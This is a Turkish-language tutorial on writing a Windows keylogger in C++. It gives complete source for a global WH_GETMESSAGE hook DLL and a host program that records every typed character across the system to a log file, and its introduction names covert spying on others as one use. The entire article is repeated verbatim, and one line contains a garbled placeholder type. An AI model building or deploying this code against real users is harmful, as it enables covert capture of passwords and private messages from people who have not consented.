C++ta Keylogger
Giriş
Keylogger niçin kullanılır? Normal kullanım için örneğin kullanıcıyı
rahatsız etmeden sessiz bir şekilde çalışan programın belli tuş kambinasyonuna
basıldıktan sonra arayüzünün açılması ve ya başka şeyler işler yapması için ves.
Bundan başka keyloggerler casus olarak başka bilgisayarda yerleşerek basılan tuşları
kaydederek başka yere gönderilmesini yani casusluk ve gizliden başkalarını
takip etmek içinde kullanılır.
Metodlar
Sembollerin klavyeden girilmesi ile windows bunu WM_KEYDOWN, WM_KEYUP ile
çalışan pencereye mesaj olarak bildiriyor.Genelde fonksiyonla gönderilen
bu mesajlar basılan tuşların virtual kodlarını iletirler.Bunlarla çalışmak
çok zordur çünkü bunları sembollere çevirmek bize düşüyor.Bu fonksiyonu genelde
WinAPI’deki TranslateMessage() fonksiyonu yerine getiriyor.Bu fonksiyon alınan virtual
kodları sembollere(WM_CHAR) çeviriyor.
SetWindowHookEx fonksiyonu ile ise Windowsun klavyeden okuduğu tuşları okuyoruz.
Bizi WM_CHAR mesajı ilgilendiriyor.Bunun için biz bu fonksiyonu WM_GETMESSAGE parametresi
ile çağırıyoruz.SetWindowHookEx ile her klavye girişi yapılınca(Daha doğrusu her GetMessage veya PeekMessage
fonkisyonu çalışınca) çalışacak callback fonksiyonu tanımlamış oluyoruz.Sistem klavyeden
alınan girdileri programlara iletmeden önce bizim kurduğumuz tuzağa yani SetWindowHookEx
fonksiyonu tarafından alınarak işlenir.Bu fonksiyonla hem ayrı proselerdeki tuş basımını takip
edebilceğimiz gibi tüm sistemdekini de yapabiliriz.Tüm sistemde yani hangi pencere açık olursa olsun klavye hareketleri
takip için global olarak fonksiyon için bir dll oluşturmamız gerekir.
Aşagıda Şimdi ise bu hook fonksiyonun bulunduğu dll’nin ve basılan tuşları dll’den öğrenerek bunu bir dosyaya yazan
programların kodlarını göreceğiz:
MyHookDll.h (bu bizim dll’nin arayüzüdür.Burada SetHook ve UnsetHook fonksiyonları export ediyoruz.)
------------------------------------------
#define MYHOOKDLL_API __declspec(dllexport)
#include <windows.h>
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT );
MYHOOKDLL_API int UnSetHook();
}
--------------------------------------------
MyHookDll.cpp (Dll’nin kodu)
------------------------------------------------------------------------------
#include "MyHookDll.h"
// global değişkenler
HINSTANCE hInstance = NULL; // The instance of the DLL
// hook fonksiyonun gerçekleştirilmesi
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Hookun Handle
UINT KBoardMessage = NULL; // ana pencereye
// göndereceğimiz mesaj
HWND hParentWnd = NULL; // ana pencere
#pragma data_seg( )
//Shared akım yaratması için Linkere RWS atributuyla verilen komut
#pragma comment(linker,"/SECTION:.SData,RWS")
// Normal DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LP**** lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
return TRUE;
}
// iki fonksiyon SetHook ve UnsetHook
MYHOOKDLL_API int SetHook (HWND hWnd,UINT UpdateMsg)
{
if (hWnd == NULL) return -1;
// parametreleri kaydet
hParentWnd = hWnd;
KBoardMessage = UpdateMsg;
// hook kur
hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
if (hMsgHook == NULL)
return -1;
return 0;
};
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
hMsgHook = NULL;
return 0;
};
//Hook callback fonksiyonu
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code >= 0)
{
MSG * msg = (MSG * )lParam;
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
}
return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};
---------------------------------------------------------------------------------------
Keylogger.cpp (Dllyi kullanarak alınan mesajları bir dosyaya kaydeden Programın kodları)
-----------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// hooktan alacağımız mesaj
#define WM_HOOKMESSAGE WM_USER+1
// Global değişkenler
HWND hWnd; // ana handle
HINSTANCE hDllInst; // hook Dll
// fonksiyonlar
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Programa giriş
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASS wc;
// class ve pencere tuş basımı hakkında bilgi alıyor.
memset (&wc, 0, sizeof (wc));
wc.lpszClassName = "__MyKeyLogger";
wc.hInstance = hInstance;
wc.lpfnWndProc = LogWndProc;
wc.style = CS_HREDRAW | CS_VREDRAW ;
wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
RegisterClass(&wc);
hWnd = ::CreateWindowEx (0,
"__MyKeyLogger",
"My KeyLogger",
WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
0, 0, 200, 200,
NULL,
NULL,
hInstance,
0);
// Dll dahil ediyoruz
hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");
if (hDllInst)
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}
// Hook ayarlıyoruz.
if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);
while (GetMessage(&msg, NULL, 0, 0))
{
DispatchMessage(&msg);
}
// hooku kaldırıyoruz.
if(UnSetHook)UnSetHook();
if (IsWindow(hWnd ))
DestroyWindow (hWnd );
// Dll çıkarıyoruz
if (hDllInst) FreeLibrary(hDllInst);
// çıkış
return 0;
}
// Pencerenin foksiyonu burada aldığımız mesajı işilyor ve kaydediyoruz
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
FILE * f = fopen("a.log","a");
switch (Message)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_HOOKMESSAGE:
switch(wParam)
{
// bazı semboller için onların adlarını gönderiyoruz.
case 0x08: fprintf(f,"<BkSp>");break;
case 0x1b: fprintf(f,"<Esc>");break;
case 0x0d: fprintf(f,"\n");break;
default:
fprintf(f,"%c",wParam );
}
break;
case WM_DESTROY:
case WM_ENDSESSION:
PostQuitMessage (0);
break;
}
fclose(f);
return DefWindowProc(hwnd,Message,wParam,lParam);
}
Giriş
Keylogger niçin kullanılır? Normal kullanım için örneğin kullanıcıyı
rahatsız etmeden sessiz bir şekilde çalışan programın belli tuş kambinasyonuna
basıldıktan sonra arayüzünün açılması ve ya başka şeyler işler yapması için ves.
Bundan başka keyloggerler casus olarak başka bilgisayarda yerleşerek basılan tuşları
kaydederek başka yere gönderilmesini yani casusluk ve gizliden başkalarını
takip etmek içinde kullanılır.
Metodlar
Sembollerin klavyeden girilmesi ile windows bunu WM_KEYDOWN, WM_KEYUP ile
çalışan pencereye mesaj olarak bildiriyor.Genelde fonksiyonla gönderilen
bu mesajlar basılan tuşların virtual kodlarını iletirler.Bunlarla çalışmak
çok zordur çünkü bunları sembollere çevirmek bize düşüyor.Bu fonksiyonu genelde
WinAPI’deki TranslateMessage() fonksiyonu yerine getiriyor.Bu fonksiyon alınan virtual
kodları sembollere(WM_CHAR) çeviriyor.
SetWindowHookEx fonksiyonu ile ise Windowsun klavyeden okuduğu tuşları okuyoruz.
Bizi WM_CHAR mesajı ilgilendiriyor.Bunun için biz bu fonksiyonu WM_GETMESSAGE parametresi
ile çağırıyoruz.SetWindowHookEx ile her klavye girişi yapılınca(Daha doğrusu her GetMessage veya PeekMessage
fonkisyonu çalışınca) çalışacak callback fonksiyonu tanımlamış oluyoruz.Sistem klavyeden
alınan girdileri programlara iletmeden önce bizim kurduğumuz tuzağa yani SetWindowHookEx
fonksiyonu tarafından alınarak işlenir.Bu fonksiyonla hem ayrı proselerdeki tuş basımını takip
edebilceğimiz gibi tüm sistemdekini de yapabiliriz.Tüm sistemde yani hangi pencere açık olursa olsun klavye hareketleri
takip için global olarak fonksiyon için bir dll oluşturmamız gerekir.
Aşagıda Şimdi ise bu hook fonksiyonun bulunduğu dll’nin ve basılan tuşları dll’den öğrenerek bunu bir dosyaya yazan
programların kodlarını göreceğiz:
MyHookDll.h (bu bizim dll’nin arayüzüdür.Burada SetHook ve UnsetHook fonksiyonları export ediyoruz.)
------------------------------------------
#define MYHOOKDLL_API __declspec(dllexport)
#include <windows.h>
extern "C"
{
MYHOOKDLL_API int SetHook( HWND,UINT );
MYHOOKDLL_API int UnSetHook();
}
--------------------------------------------
MyHookDll.cpp (Dll’nin kodu)
------------------------------------------------------------------------------
#include "MyHookDll.h"
// global değişkenler
HINSTANCE hInstance = NULL; // The instance of the DLL
// hook fonksiyonun gerçekleştirilmesi
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Hookun Handle
UINT KBoardMessage = NULL; // ana pencereye
// göndereceğimiz mesaj
HWND hParentWnd = NULL; // ana pencere
#pragma data_seg( )
//Shared akım yaratması için Linkere RWS atributuyla verilen komut
#pragma comment(linker,"/SECTION:.SData,RWS")
// Normal DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LP**** lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
hInstance = (HINSTANCE)hModule;
return TRUE;
}
// iki fonksiyon SetHook ve UnsetHook
MYHOOKDLL_API int SetHook (HWND hWnd,UINT UpdateMsg)
{
if (hWnd == NULL) return -1;
// parametreleri kaydet
hParentWnd = hWnd;
KBoardMessage = UpdateMsg;
// hook kur
hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);
if (hMsgHook == NULL)
return -1;
return 0;
};
MYHOOKDLL_API int UnSetHook()
{
UnhookWindowsHookEx (hMsgHook);
hMsgHook = NULL;
return 0;
};
//Hook callback fonksiyonu
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
if (code >= 0)
{
MSG * msg = (MSG * )lParam;
if ((lParam)
&&(msg->message == WM_CHAR)
&&(wParam == PM_REMOVE))
PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
}
return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};
---------------------------------------------------------------------------------------
Keylogger.cpp (Dllyi kullanarak alınan mesajları bir dosyaya kaydeden Programın kodları)
-----------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);
// hooktan alacağımız mesaj
#define WM_HOOKMESSAGE WM_USER+1
// Global değişkenler
HWND hWnd; // ana handle
HINSTANCE hDllInst; // hook Dll
// fonksiyonlar
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();
// Programa giriş
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
WNDCLASS wc;
// class ve pencere tuş basımı hakkında bilgi alıyor.
memset (&wc, 0, sizeof (wc));
wc.lpszClassName = "__MyKeyLogger";
wc.hInstance = hInstance;
wc.lpfnWndProc = LogWndProc;
wc.style = CS_HREDRAW | CS_VREDRAW ;
wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
RegisterClass(&wc);
hWnd = ::CreateWindowEx (0,
"__MyKeyLogger",
"My KeyLogger",
WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
0, 0, 200, 200,
NULL,
NULL,
hInstance,
0);
// Dll dahil ediyoruz
hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");
if (hDllInst)
{
SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
}
// Hook ayarlıyoruz.
if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);
while (GetMessage(&msg, NULL, 0, 0))
{
DispatchMessage(&msg);
}
// hooku kaldırıyoruz.
if(UnSetHook)UnSetHook();
if (IsWindow(hWnd ))
DestroyWindow (hWnd );
// Dll çıkarıyoruz
if (hDllInst) FreeLibrary(hDllInst);
// çıkış
return 0;
}
// Pencerenin foksiyonu burada aldığımız mesajı işilyor ve kaydediyoruz
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
FILE * f = fopen("a.log","a");
switch (Message)
{
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_HOOKMESSAGE:
switch(wParam)
{
// bazı semboller için onların adlarını gönderiyoruz.
case 0x08: fprintf(f,"<BkSp>");break;
case 0x1b: fprintf(f,"<Esc>");break;
case 0x0d: fprintf(f,"\n");break;
default:
fprintf(f,"%c",wParam );
}
break;
case WM_DESTROY:
case WM_ENDSESSION:
PostQuitMessage (0);
break;
}
fclose(f);
return DefWindowProc(hwnd,Message,wParam,lParam);
}